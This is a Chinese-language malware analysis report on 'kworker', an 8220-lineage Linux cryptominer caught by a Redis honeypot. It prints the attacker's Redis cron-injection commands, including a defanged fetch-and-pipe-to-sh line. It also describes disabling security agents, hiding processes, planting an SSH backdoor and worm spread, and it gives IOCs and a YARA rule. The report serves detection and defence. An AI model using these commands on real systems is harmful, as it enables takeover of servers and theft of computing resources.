malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker:自带卸载程序的挖矿木马
Kinryū Labs 捕获到一个 8220 血统的挖矿木马,在大约五秒内就把一个开放、无密码的 Redis 端口变成了 root shell。这个名为 kworker、长达 636 行的 shell 脚本投放器,用厂商自己的工具卸载阿里云和腾讯云的云安全 agent,花 200 行代码清除竞争对手的矿工,给 SSH 留后门,把一个 XMRig 门罗币矿工藏在伪造的 ps、top 和 pstree 背后,并尝试继续蠕虫式传播。
作者 Davis Zheng·
TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络于 2026 年 6 月 10 日捕获。仅做静态、被动分析:从未执行该投放器,也从未联系任何攻击者基础设施。下文中的指标均已做无害化(defang)处理;YARA 规则按设计保留了真实字符串,以供检测。我们未能获取第二阶段的矿工二进制文件,也未获取门罗币钱包地址。
摘要
- ~5秒从开放的 Redis 端口到四个 root cron 后门
- 636行 bash,一套完整的主机接管工具
- 2内嵌的 base64 编码厂商卸载程序
- 80+击杀清单上的竞争对手矿工
UTC 时间午夜过六分,有什么东西连上了我们一台蜜罐的 Redis 端口,发了一条 INFO 探明对面是什么,然后断开。两秒后它又回来,开始动手。等它断开时,前后总共五秒,它已经用四种不同的方式重写了服务器的 cron 表,而每一种都指向同一个文件:一个名为 kworker 的 shell 脚本。
我们从未让它运行。蜜罐抓取载荷、计算哈希、归档存档;机器本身保持干净。于是我们手里剩下的,是这个脚本的全文,全部 636 行,以及一份完整的入侵录像。把它们放在一起读,恰好是 2026 年商品化 Linux 挖矿木马走到哪一步的一个清晰横切面,而 kworker 是个很好的标本,因为它几乎做尽了这个门类曾经发明过的一切。它还面不改色地做了一件事:用杀毒软件厂商自己的卸载程序,把你的杀毒软件卸载掉。
关键判断
- 属于 8220 Gang / kworkerds 血统的商品化挖矿木马,机会主义、非定向(中等置信度)。 Redis 投放方式、被重命名的下载工具、
/etc/javae锁文件,以及那份庞大的击杀清单,都是这个家族的标志。我们维持在中等、不再更高,是因为这是被广泛分叉、各团伙互相传阅再转卖的代码,所以这个名字指向的是一条血脉,而非某个单一作者。 - 目标是门罗币挖矿(高置信度)。 整个脚本的唯一目的,就是在为其启用大页(huge pages)之后,去获取并启动
javae——一个 XMRig 构建版本。其余一切都是为了清场和保住主机。 - 成熟、被反复使用的软件,而非某人的周末项目(高置信度)。 入侵自身的 cron 行里调用了
cd1和wd1,而这两个工具只有在 kworker 安装之后才存在。这套工具已经预设了自己的存在,这正是一段已在流通中存在许久的代码的标志。 - 缺失的钱包是刻意为之(高置信度)。 脚本里没有门罗币地址,也没有矿池;两者都存放在矿工二进制文件里,而我们未能获取该文件。唯一能把这个团伙的各次行动串联起来的细节,恰恰是他们刻意不写进脚本里的那个——这与我们在 RedTail 上撞到的是同一堵墙。
FLUSHALL,然后四种方式写入 cron
把 Redis 不设密码地暴露在公网上,多年来一直是一条一行就能拿到的 root shell,而这里用的就是那套老牌可靠的技法。设置一个数据库键,其值是一个 cron 任务。让 Redis 把数据库保存到 cron 目录里。调用 SAVE。Redis 把数据库写到磁盘,连同你那条伪造的 cron 任务一起,一分钟后 cron 就以 root 身份运行它。我们这位访客探明了服务器指纹,确认自己能写文件,关掉了那个会在保存失败时叫停的安全开关,然后施展了这套把戏。
# 访问者发往 Redis 的内容(节选,指标已做无害化处理)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
整场入侵就装在区区几秒之内:
- 00:06:00 UTC连接,发送一条
INFO探明服务器指纹,断开。 - +2 秒重新连接。设置四个键,每个键存放一行 cron。
CONFIG SET dir指向 cron 目录,CONFIG SET dbfilename指向目标 cron 文件,禁用 stop-writes-on-bgsave-error,然后SAVE。 - 总计 +5 秒断开。蜜罐已拿到完整载荷与完整录像;机器保持干净。
- +1 分钟在真实主机上,cron 会以 root 身份运行被植入的那一行,拉取
kworker。
值得放慢脚步细看的,是它的冗余。它没有只写一个 cron 任务;它把同一条指令写进了四个地方——/var/spool/cron/root、/var/spool/cron/crontabs、/etc/cron.d/javae 和 /etc/crontab——同时覆盖了 Red Hat 与 Debian 两种布局、两种 cron 语法。每一行都用不同的工具拉取 kworker——cd1、wget、curl、wd1——并按错开的两、三、四、五分钟计划执行。其中两个名字并不是真正的程序。cd1 和 wd1 是 kworker 安装完成后给 curl 和 wget 改的名。这次入侵已经预设了它即将下载的那个脚本。整套工具内部自洽,而这正是你判断它是成熟、被反复使用的软件、而非某人周末项目的依据。
自带卸载程序
一拿到 root,kworker 就开始拆房子。防火墙被清空、ufw 被关闭、SELinux 被降到 permissive 再在配置里禁用、AppArmor 被停止、内核的 NMI watchdog 被关掉——这一点很重要,因为矿工会把 CPU 顶在百分之百长达数周,而 watchdog 是少数可能察觉到这一点的东西之一。/var/log/syslog 被直接删除。
接着它去寻找云安全 agent,而脚本就是在这里不再普通。中国的大型云厂商会在其虚拟机上预装一个主机 agent:阿里云的 Aegis,你会看到它以 AliYunDun 的名字运行;腾讯云的 YunJing;华为的 HostGuard。kworker 会逐一检查。在找到阿里云那个的地方,它不只是杀掉进程。它运行阿里云官方的卸载程序,并且为了确保即使在一台没有回连阿里云路由的机器上也能奏效,它把阿里云的两个卸载脚本以 base64 编码内嵌在自己体内。我们把两个都解码了。它们是货真价实的原版,连 kprobe 跟踪的拆除逻辑都一应俱全。
它会按厂商设想的方式,干净利落地移除你的端点防护,并把日志收拾整齐。
那不是临场发挥。是有人坐在一台真实的阿里云机器前,把卸载程序取下来,再内建了进去。
一场用 bash 写成的地盘之争
如果你从没读过这类脚本,会让你吃惊的是其中有多大比例是冲着其他罪犯去的。一个矿工真正的敌人,是下一个想租用同一颗 CPU 的矿工,而不是系统管理员。kworker 花了大约两百行去猎杀竞争对手,并且用它能抓到的每一种把柄去击杀。
- 按进程名,来自一份超过一百项的黑名单:
xmrig、kinsing、kdevtmpfsi、watchdogs和watchbog家族、ddg、sustes,以及它自己名字所源出的、更老的kworkerds。 - 按端口,那些挖矿池和 IRC 机器人所在的端口。
- 按硬编码的 IP 地址。
- 按 CPU,这件钝器: 任何以它不认识的名字、占用处理器超过 40% 的进程都会被杀掉,逻辑是:一个吃 CPU 的未知进程,按定义就是一个竞争对手的矿工。
它把竞争对手的文件从 /tmp 和 /dev/shm 中删除、剥掉它们的 cron 任务、移除其中一些会安装的 preload rootkit,还伸手进 Docker 去杀掉并删除已知的挖矿镜像。这与我们在 RedTail 的 clean 脚本 和 Rootpacket 的 killservice.sh 中记录到的,是同一场圈地运动;这些团伙都在争夺同一批配置错误的机器,而且开场都是先把场子扫一遍。
它还格外地、反复地针对 TeamTNT,撤销 TeamTNT 所做的 curl 和 wget 改名,并抹掉它的目录。在它杀掉 Kinsing 的地方,它会把文件内容覆写成 fuckyou 并加锁,让 Kinsing 无法把自己放回去。这里没有道义,只有圈地,而 kworker 玩得比大多数都狠。
把这份清单读仔细,它会变成一部「竞争对手如何藏身」的图鉴。一类目标伪装成内核线程——kacpi_svc、kswap_svc、kthreadd_svc、ksoftirqd_svc;另一类伪装成系统守护进程——polkitd、acpid、dbus-daemon--system,以及把字母 L 写成大写 I 的 systemctI。kworker 正在猎杀其对手所穿的那些伪装,而这些伪装恰恰也是它在几行之后用来把 javae 藏进诸如 systemd-network、irqbalanced 之类名字里时会拿来用的同一套。这场争斗里人人都打扮成无聊的系统噪声,而人人都背熟了别人的戏服。
有几个目标根本不是名字。其中一个是 L2Jpbi9iYXN,即一条 /bin/bash 命令开头的 base64 编码。kworker 会在进程表里 grep 这个编码前缀,借由命令行里那段 base64 串抓住一个竞争对手的加载器。
整份清单很长,超过一百种给「你想杀掉的进程」起名的方式,单是为了感受这场宿怨的质地,也值得略读一遍:
从捕获脚本中提取的完整击杀清单
取自 kill_miner_proc、kill_sus_proc 和那段 Docker 清扫逻辑。这里列出的一切都是 kworker 猎杀的目标,而非它自己的基础设施。IP 已做无害化处理。
它会杀掉任意进程的端口(挖矿池、IRC 机器人、RAT、备用 SSH 与 Telnet):23、143、2222、3333、3347、3389、5555、6665、6666、6667、7777、8444、10008、13531。
可识别的矿工与僵尸网络家族: xmrig、xmrig-cpu、xmrig-notls、xmr-stak、mstxmr、cnrig、minerd、minergate、cryptonight、crypto-pool、moneroocean、kinsing、kdevtmpfsi、kworkerds、kworker34、watchdogs、watchd0g、watchbog、ddg、ddg.2011、sustes、sustse、sustse3、kthrotlds、ksoftirqds、tntrecht(TeamTNT)、nanoWatch、sourplum、disk_genius、biosetjenkins、nullcrew。
伪装成内核线程的竞争对手: kacpi_svc、kswap_svc、kauditd_svc、kpsmoused_svc、kseriod_svc、kthreadd_svc、ksoftirqd_svc、kintegrityd_svc、kblockd_svc、native_svc。
伪装成系统守护进程的竞争对手: polkitd、acpid、dbus-daemon--system、irqbalance、irqbalanc1、crond64、nginxk、vmlinuz、systemctI(大写 i,而非 systemctl)、systemten、systemxlv、svcupdate、netdns、netns、redis2、rsync、httpgd、haveged、voltuned、nqscheduler。
其他具名载荷、脚本和按行动定制的标记: apaceha、apachiii、mixnerdx、mixtape、performedl、conns、mgwsl、pythno、jweri、lx26、i586、gddr、askdljlqw、ysaydh、bonns、donns、kxjd、nopxi、deamon、zigw、devtool、devtools、suppoie、exin、xr、jawa、ynn、servim、darwin、sysstats、Loopback、XJnRj、NXLAi、BI5zj、icb5o、wnTKYg、2t3ik、qW3xT.2、hahwNEdB、CnzFVPLF、CvKzzZLs、OIcJi1m、IOFoqIgyC0zmf2UR、65ccEJ7、jmxx、2Ne80nA、C4iLM4L、Guard.sh、Duck.sh、bonn.sh、conn.sh、kw.sh、pro.sh、mr.sh、2mr.sh、cr5.sh、he.sh、miner.sh、l.sh、z3.sh、lower.sh、ndt.sh、logo9.jpg、oracle.jpg、init10.cfg、init12.cfg、j2.conf、zer0day.ru、gitee.com。
混淆的启动器与释放的配置文件: ./ppp、./vsp、./jvs、./pvv、./vpp、./pces、./rspce、./jiba、./haveged、./watchbog、./servceaess 及其拼写各异的变体、mwyumwdbpq.conf、honvbsasbf.conf、mqdsflm.cf、/wl.conf、wc.confz,外加 base64 投放标记 L2Jpbi9iYXN(一条 /bin/bas... 一行命令的开头)。
它见到即射杀的竞争对手矿池与 C2 的 IP: 45.76.122[.]92、51.38.191[.]178、51.15.56[.]161、104.248.4[.]162、89.35.39[.]78、107.174.47[.]156、107.174.47[.]181、83.220.169[.]247、51.38.203[.]146、144.217.45[.]45、176.31.6[.]16、46.243.253[.]15、200.68.17[.]196、188.209.49[.]54、181.214.87[.]241、121.42.151[.]137。
它杀掉并删除的 Docker 镜像与容器: 名为 pocosow、gakeaws、azulu、auto、xmr、mine、slowhttp、bash.shell 的容器;以及 pocosow、gakeaws、buster-slim、hello-、azulu、registry、xmr、monero、mine、slowhttp 等镜像引用。
还有那件钝器: 任何 CPU 占用超过 40%、且不匹配 javae 的进程都会被杀;任何占用超过 10%、且名字看起来像带方括号的内核线程的进程也会被杀;任何从 /tmp 运行的进程,以及任何名字长得可疑的进程,同样如此。
现在你看不到它了
清完场后,它把自己这名选手藏了起来。它用两行的包装脚本替换掉 ps、top 和 pstree,这些包装脚本调用真正的二进制文件,再悄悄过滤掉任何提到矿工(javae)或它所携带的扫描器(pnscan)的行,然后把这些伪造文件的时间戳回拨到 2016 年,好让它们看起来不像是新的。在一台被感染的机器上运行 ps,矿工就根本不在列表里。
矿工本身的命名也是为了消失在进程表中:javae 与一批锁文件并列,后者被植入在诸如 systemd-network、irqbalanced、kswaped 之类的名字下,每一个都是为了读起来像无聊的系统噪声而精心挑选的。
一把钥匙,和通往邻居的路
还有两步动作,为这场接管收尾。
它把操作者的 SSH 公钥(其注释只是 uc1)写进 root 的 authorized_keys,并把该文件设为不可变(immutable),于是仅仅发现它还不够;你得先清除不可变位,才能哪怕只是删除它。这是一种比「矿工被清理掉」活得更久的、动手式的访问权。
接着它尝试传播。它读取 root 的 known_hosts——这台机器登录过的每一台机器的清单——并尝试用磁盘上已有的密钥 SSH 到每一台,在任何放它进去的机器上运行一行命令,从备用地址拉取 kworker,把整个故事重新来过一遍。它不是一条快蠕虫,而且依赖于人们随手留下的免密密钥,但在通常就是这副样子的那类机群上,这已经够用了。
矿工,和我们没拿到的钱包
尽管有这么多机关,真正赚钱的那个却很无趣:第二个文件 javae,一个挖门罗币的 XMRig 构建版本。kworker 打开大页(把 vm.nr_hugepages 设为 128,这是 XMRig 的一项标准提速手段),把 javae 释放到 /etc,然后运行它。
这份报告的空白就在这里。我们没有 javae,也没有钱包。脚本里没有门罗币地址,也没有矿池;这些都被烤进了运行时才拉取的矿工二进制文件里,而 C2 并未把它提供给任何看过这个样本的公共沙箱,因此被动地无从拆解。任何单独分析 kworker 的人都会撞上同一堵墙。钱包是唯一能把这个团伙的各次行动串联起来的东西,而它恰恰就是他们不写进脚本的那一样。
刻意托管在 Cloudflare 上
脚本和矿工都来自 download.logltech[.]workers[.]dev,一个 Cloudflare Workers 地址,而这是一个刻意的选择。Workers 免费、默认 HTTPS,借用了 Cloudflare 的信誉因而能轻松绕过域名黑名单,还隐藏了操作者实际控制的任何源站。我们的蜜罐从未见到一台真实的服务器;它见到的始终只是 Cloudflare。
蠕虫所使用的备用通道是 tutorial.clashverge[.]space,注册于二月下旬。脚本里其余每一个硬编码的 IP 地址都属于它想杀掉的竞争对手,散布在 Vultr、OVH、DigitalOcean 的机器以及一台位于杭州的阿里云主机上,根本不属于这个操作者。把这些硬编码 IP 读作一份目标清单,而不是基础设施。
这是谁的?
谨慎地说。这是商品化挖矿木马,出自通常被归档为 8220 Gang(或 kworkerds)的血脉。线索一应俱全:Redis cron 注入的投放方式、curl 改名为 cd1、/etc/javae 锁文件、pnscan 传播器、那份庞大的击杀清单。各家杀毒引擎对它的命名无法达成一致,而这本身就是关键。ClamAV 称它为 Rocke,Rising 把它标为 TeamTNT,其余的则只说 CoinMiner。这些脚本在六七个团伙之间被复制、合并、转卖,而 kworker 杀掉了好几个与它同宗的家族。
把这个家族当作一个街区,而不是一枚指纹。
它对中国云 agent 的专注,以及 VirusTotal 关联到同一样本的一个 Windows PowerShell 兄弟版本,补全了这幅图景,但稳妥的说法是那个克制的版本。广泛分叉、出于经济动机、非定向、且并不新。中等置信度,并安于此处。
失陷指标
网络
| 指标 | 说明 |
|---|---|
download.logltech[.]workers[.]dev | C2(主),Cloudflare Workers。提供 /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2(备用),由蠕虫使用。注册于 2026 年 2 月 27 日 |
170.9.225[.]197 | 命中 Redis 蜜罐的源 IP |
*.workers.dev 主机 + /up/down/api/ 下的 GET | 值得在流量层面重点关注的载荷拉取模式 |
文件(SHA-256 / MD5)
| 文件 | SHA-256 | MD5 |
|---|---|---|
kworker(投放器) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae(XMRig 矿工) | 未获取,预期 5,685,096 字节 |
SSH 后门密钥: 注释为 uc1,公钥指纹 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY。在整个机群的 authorized_keys 中搜寻它。
主机痕迹
| 路径 | 说明 |
|---|---|
/etc/kworker、/etc/javae、/etc/cron.d/javae、/tmp/{kworker,javae} | 释放的文件 |
/usr/bin/cd1(原为 curl)、/usr/bin/wd1(原为 wget) | 被改名的下载工具 |
/bin/ps.original、/bin/top.original、/bin/pstree.original | 被保存在木马化包装脚本背后的真实二进制文件 |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | 不可变的、单数字名的锁文件 |
vm.nr_hugepages = 128 | 为 XMRig 启用的大页 |
行为特征
- 一个实际上是 shell 脚本、通过
grep -v过滤的ps、top或pstree。 - 一个不是你写的、以注释
uc1结尾的authorized_keys。 - 运行
sh /etc/kworker或sh /tmp/kworker的 cron 任务,以及一个本不该存在的/etc/cron.d/javae。 - 位于
/usr/bin/kswaped及其同类的、不可变的单数字名文件。 - 一个被改名为
cd1和wd1的curl与wget。 - 被悄悄设为 128 的
vm.nr_hugepages。
检测
主机侧的破绽一旦你认得就很扎眼,它们已列在上文。在流量层面,任何解析 *.workers.dev 主机并请求 /up/down/api/ 下路径的行为都值得重点关注。下面是一条针对稳定字符串触发的 YARA 规则。它按设计携带了真实字符串,以供检测。
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
这应当改变什么
这一切都不高深,而这正是教训所在。kworker 之所以能进来,是因为一个 Redis 端口开着且没有密码——一个 2018 年的错误,到 2026 年仍在持续兑现。在那之后的一切——卸载 EDR、那个 rootkit、那条蠕虫——之所以还有意义,仅仅是因为前门没锁。
- 不要把 Redis(或任何数据存储)暴露到公网,并让它要求认证。 把一个开放的服务当作整台主机的失陷,而不是单个服务的失陷。
- 像盯生产代码一样盯住 cron 和
authorized_keys, 因为对攻击者而言,它们恰恰就是生产代码。 - 不要把机器上的云 agent 当成安全网。 kworker 的第一反应,就是走上前去、礼貌地用厂商自己的工具把它卸载掉。
MITRE ATT&CK 映射
| 战术 | 技术 |
|---|---|
| 初始访问 | T1190 Exploit Public-Facing Application(Redis) |
| 执行 | T1059.004 Unix Shell |
| 持久化 | T1053.003 Cron;T1098.004 SSH Authorized Keys |
| 防御规避 | T1562.001 Impair Defenses: Disable or Modify Tools(卸载云 agent 与 EDR);T1562.004 Disable or Modify System Firewall;T1070.002 Clear Linux or Mac System Logs;T1014 Rootkit(木马化的 ps/top/pstree);T1036.005 Masquerading: Match Legitimate Name;T1222.002 Linux File and Directory Permissions Modification(chattr +i);T1070.006 Timestomp(回拨时间戳的伪造文件) |
| 发现 | T1057 Process Discovery(猎杀对手);T1518.001 Security Software Discovery(云 agent);T1046 Network Service Scanning(pnscan) |
| 横向移动 | T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer |
| 命令与控制 | T1071.001 Web Protocols;T1102 Web Service(Cloudflare Workers);T1105 Ingress Tool Transfer |
| 影响 | T1496 Resource Hijacking(门罗币挖矿) |
方法论与分析师备注
- 分析为静态、被动。该投放器从未被执行,也从未联系任何攻击者基础设施。结论来自完整阅读捕获到的 636 行脚本、解码内嵌的 base64 卸载程序,以及审阅录制下来的 Redis 会话。
- 上文中的指标均已做无害化处理。YARA 规则按设计包含真实字符串,以供检测。
- 我们没有第二阶段矿工(
javae),也没有门罗币钱包。脚本两者皆无;它们都存放在运行时才拉取的矿工二进制文件里,而 C2 并未把它提供给公共沙箱。要取回钱包,需要一次带网络抓包的实时引爆,而我们并未进行。 - 样本(投放器与解码后的卸载程序)可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。